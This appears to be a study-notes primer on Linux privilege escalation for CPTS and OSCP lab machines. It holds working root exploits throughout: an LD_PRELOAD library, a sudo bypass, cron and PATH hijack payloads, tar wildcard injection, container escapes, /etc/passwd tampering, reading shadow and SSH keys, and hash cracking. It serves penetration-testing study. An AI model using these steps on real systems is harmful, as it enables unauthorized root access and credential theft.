~/linux-privesc-primer

Privesc Primer

CPTS Notes12 min read

Leads for Linux privilege escalation, roughly in the order they pay off on CPTS and OSCP boxes. Each lead has the command that finds it, what a hit looks like, and the next step. The enumeration pass that produces these leads is in Local Enumeration. Check GTFOBins for any binary you can run as root.

Lead table

Lead Command Next step
sudo rights sudo -l GTFOBins Sudo section, LD_PRELOAD, sudo version bugs
Credentials grep -rinE "passw(or)?d" /var/www /opt /home su to each user with each password
SUID and SGID find / -perm -4000 -type f 2>/dev/null GTFOBins SUID section, strings and ltrace on custom binaries
Cron jobs and timers cat /etc/crontab, pspy64 Writable script, tar wildcard, PATH
Capabilities getcap -r / 2>/dev/null GTFOBins Capabilities section
Groups id docker, lxd, disk, adm, video
Services on localhost ss -tlnp ssh -L, then attack the service
Writable files ls -l /etc/passwd /etc/shadow Add a root user, crack or replace a hash
PATH hijacking ltrace, strings, cat the root script Put a fake command first in PATH
NFS no_root_squash cat /etc/exports SUID bash through the share
Kernel uname -r searchsploit, DirtyPipe, PwnKit

sudo rights

List what you can run with sudo:

sudo -l # commands you may run, and as which user

It may ask for the user’s password.

  • Hit: (root) NOPASSWD: /usr/bin/find. NOPASSWD runs it without a password.
  • Next: look the binary up on GTFOBins, Sudo section. For a script, check whether you can write it or whether it calls commands without a full path (see PATH hijacking).

env_keep with LD_PRELOAD. A hit is env_keep+=LD_PRELOAD under “Matching Defaults entries”. sudo then keeps your LD_PRELOAD, and the allowed command loads your library as root:

cat > /tmp/x.c << 'EOF' # write the library source
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash -p"); }
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c # build the shared library
sudo LD_PRELOAD=/tmp/x.so /usr/bin/find # run an allowed command with the library

-fPIC builds position-independent code, -shared builds a shared library, and -nostartfiles drops the default startup code so your _init runs. Use any command from sudo -l. Without gcc on the target, compile on the attack host for the same architecture.

Runas (ALL, !root). On sudo before 1.8.28, CVE-2019-14287 runs the command as root anyway:

sudo -u#-1 /bin/bash # bash as user ID -1, which sudo turns into 0

sudo version. Read it, then check it against known bugs:

sudo -V | head -1 # sudo version
sudoedit -s / # Baron Samedit test

Baron Samedit (CVE-2021-3156) is a heap overflow in sudo 1.8.2 to 1.8.31p2 and 1.9.0 to 1.9.5p1, fixed in 1.9.5p2. Distributions backport the fix, so run the sudoedit test: “not a regular file” or a password prompt means vulnerable, a usage message means patched.

Credentials and password reuse

Search the history, configs, and backups for passwords (the full search is in Hunting (Linux)):

cat ~/.bash_history # passwords typed into commands
# env files, backups, and web configs
find / -type f \( -name ".env" -o -name "*.bak" -o -name "*.old" -o -name "wp-config.php" -o -name "config.php" \) 2>/dev/null
grep -rinE "passw(or)?d|secret" /var/www /opt /home /etc 2>/dev/null # password and secret strings

\( ... -o ... \) groups name tests joined by OR (more in Searching Files). grep -r searches recursively, -i ignores case, -n prints line numbers, and -E reads the pattern as an extended regex.

  • Hit: DB_PASSWORD=... in a .env, a $db_pass in a web config, or a password typed into a command in the history.
  • Next: try each password for each user in /etc/passwd with a shell, and for root:
    su <user> # switch user with a found password
    Log in to the database with a database password and search its user tables.

Private keys work the same way:

find / -path "*/.ssh/id_*" 2>/dev/null # private SSH keys

SUID and SGID binaries

Find binaries that run as their owner or group:

find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries

-perm -4000 matches files with at least the SUID bit set, and -perm -2000 the SGID bit. -type f keeps regular files. 2>/dev/null drops the permission errors.

  • Hit: a binary off the standard list, such as /usr/bin/find, /usr/bin/vim.basic, or a custom /usr/local/bin/backup.
  • Next: look a known binary up on GTFOBins, SUID section. Check the version of an unusual one with searchsploit (GNU screen 4.5.0, CVE-2017-5618, is a common hit). A SUID pkexec is the PwnKit target.

Custom SUID binary. Read what it runs:

strings /usr/local/bin/backup # readable text in the binary
ltrace /usr/local/bin/backup # run it and print its library calls

Look for commands, paths, and passwords, and for calls such as system("tar czf /backup/x.tgz /var/www").

  • Hit: a command without a full path, such as tar or service.
  • Next: PATH hijacking.

Cron jobs and timers

Read the scheduled jobs:

cat /etc/crontab # system crontab
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily # cron job directories
crontab -l # current user's jobs
systemctl list-timers --all # systemd timers, inactive ones included

Jobs in other users’ crontabs do not show. pspy shows them as they start, without root:

./pspy64 -pf -i 1000 # print commands and file events, scan /proc every 1000 ms
  • Hit: UID=0 ... /bin/sh -c /opt/scripts/backup.sh repeating on a schedule.
  • Next: check whether you can write the script. If you can, append a payload and wait for the next run:
    ls -la /opt/scripts/backup.sh # owner and permissions
    # append a payload that makes a SUID bash
    echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
    /tmp/rootbash -p # root shell after the next run
    chmod +s sets the SUID bit. bash -p keeps the root effective UID.

Also check the PATH= line in /etc/crontab: a directory you can write that comes before /usr/bin gives PATH hijacking.

tar wildcard injection. A hit is a root job like cd /var/www/html && tar czf /backup/web.tgz * in a directory you can write. The shell expands * to the file names, and tar reads names that start with -- as options:

cd /var/www/html # the directory the job archives
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh # payload script
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh shell.sh' # file names tar reads as options

-- ends the options of touch, so it creates files with these names. At the next run, tar runs sh shell.sh as root.

Capabilities

Find binaries with file capabilities:

getcap -r / 2>/dev/null # file capabilities, recursive from /
  • Hit: /usr/bin/python3.8 cap_setuid=ep. Also cap_dac_read_search (read any file) and cap_dac_override (write any file).
  • Next: GTFOBins, Capabilities section. For python with cap_setuid:
    python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")' # set UID 0, then start a shell

Groups

List your groups:

id # user, UID, and groups
  • docker: root on the host through a container. Mount the host root and chroot into it. Needs a local image:

    docker images # local images
    docker run -v /:/mnt --rm -it alpine chroot /mnt sh # root shell in the host filesystem

    -v /:/mnt mounts the host root at /mnt, --rm removes the container on exit, and -it gives an interactive terminal.

  • lxd or lxc: the same through a privileged container. Build an Alpine image on the attack host, transfer it (Linux Transfers), then:

    lxc image import ./alpine.tar.gz --alias alpine # import the image
    lxc init alpine priv -c security.privileged=true # create a privileged container
    # mount the host root at /mnt/root in the container
    lxc config device add priv host-root disk source=/ path=/mnt/root recursive=true
    lxc start priv # start the container
    lxc exec priv /bin/sh # shell in the container

    security.privileged=true maps root in the container to root on the host.

  • disk: raw read of the disks. Find the root partition and open it with debugfs:

    df / # partition that holds the root filesystem
    debugfs /dev/sda1 # open the partition

    Read any file at the debugfs: prompt:

    debugfs: cat /etc/shadow # password hashes
    debugfs: cat /root/.ssh/id_rsa # root's SSH key
  • adm: read the logs in /var/log. Search them for passwords:

    grep -rinE "passw(or)?d" /var/log 2>/dev/null # password strings in the logs
  • video: read the screen of a logged-in console user:

    cat /dev/fb0 > /tmp/screen.raw # dump the framebuffer
    cat /sys/class/graphics/fb0/virtual_size # screen width and height

    Open the raw file as an image on the attack host, with the width and height from virtual_size.

Services on localhost

List listening ports:

ss -tlnp # listening TCP ports and their processes

-t shows TCP, -l listening sockets, -n numeric ports, and -p the process (for your own processes only).

  • Hit: a port bound to 127.0.0.1 that the external scan did not show, such as 127.0.0.1:8080. Find its user:
    ps aux # owner of each process
  • Next: forward it to the attack host and attack it there:
    ssh -N -L 8080:127.0.0.1:8080 user@$TARGET # forward the service to the attack host
    -L forwards local port 8080 to 127.0.0.1:8080 on the target. -N runs no remote command. Browse http://127.0.0.1:8080 on the attack host. Try found passwords and default credentials on it.

Writable files

Check the account files, then look for other writable files:

ls -l /etc/passwd /etc/shadow # account file permissions
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null # files the current user can write

-not -path skips the virtual file systems.

/etc/passwd writable. Add a user with UID 0:

openssl passwd -1 Passw0rd # MD5-crypt hash
echo 'root2:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd # add a UID 0 user with that hash
su root2 # log in as the new user
sed -i 's/^root:x:/root::/' /etc/passwd # or empty root's password field, then su

More on openssl passwd in Requests and Transfer.

/etc/shadow readable. Copy it with /etc/passwd and crack the hashes:

unshadow passwd shadow > hashes.txt # join the two files for John
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt # crack the hashes

For $6$ hashes, hashcat -m 1800 also works. Hash types and opasswd are in Looting (Linux).

/etc/shadow writable. Replace root’s hash with a new one:

openssl passwd -6 # SHA-512 crypt hash

Writable service or script. A systemd unit or a script that root runs: put a payload in it, then wait for the restart, the reboot, or the next run.

PATH hijacking

A root script or SUID binary that calls a command without a full path runs the first match in PATH. Find the call with ltrace or strings on a binary, or cat on a script.

  • Hit: system("service apache2 restart"), or tar in a script with no /usr/bin/.
  • Next: put a fake command first in PATH, then run the binary:
    # fake service command that makes a SUID bash
    printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash\n' > /tmp/service
    chmod +x /tmp/service # make it executable
    export PATH=/tmp:$PATH # put /tmp first in PATH
    /usr/local/bin/backup # run the binary that calls service
    /tmp/rootbash -p # root shell
    A SUID binary inherits your PATH. A cron job uses the PATH in the crontab.

NFS no_root_squash

Read the exports on the target:

cat /etc/exports # exported shares and their options
  • Hit: /srv/share *(rw,no_root_squash).
  • Next: mount the share from the attack host as root and plant a SUID bash. Copy /bin/bash from the target into the share: a bash from the attack host can fail on the target’s older glibc. Steps in NFS.

Kernel exploits

Last resort: kernel exploits can crash the box. Read the kernel and OS version:

uname -r # kernel release
cat /etc/os-release # distribution and release
  • Next: search for public exploits for the kernel version, or run linux-exploit-suggester.
    searchsploit linux kernel <version> # public exploits for the kernel
  • DirtyPipe (CVE-2022-0847): kernel 5.8 and later, before 5.16.11, 5.15.25, and 5.10.102. It overwrites read-only files, such as a SUID binary or /etc/passwd.
  • PwnKit (CVE-2021-4034): pkexec in every polkit release since 2009, fixed in January 2022. It needs a SUID pkexec:
    ls -l /usr/bin/pkexec # check for the SUID bit
    Distributions backport the fix, so check the package version against the distribution’s advisory.

Checklist

  1. sudo -l: GTFOBins, LD_PRELOAD, (ALL, !root), sudo version.
  2. Search history, configs, and backups for passwords. su to each user with each one.
  3. SUID and SGID binaries: GTFOBins, then strings and ltrace on custom ones.
  4. Cron jobs, timers, and pspy: writable scripts, tar wildcards, crontab PATH.
  5. getcap -r /.
  6. id: docker, lxd, disk, adm, video.
  7. ss -tlnp: forward services on localhost.
  8. Writable /etc/passwd, readable /etc/shadow, writable services and scripts.
  9. PATH hijacking in root scripts and SUID binaries.
  10. /etc/exports for no_root_squash.
  11. Kernel and pkexec versions.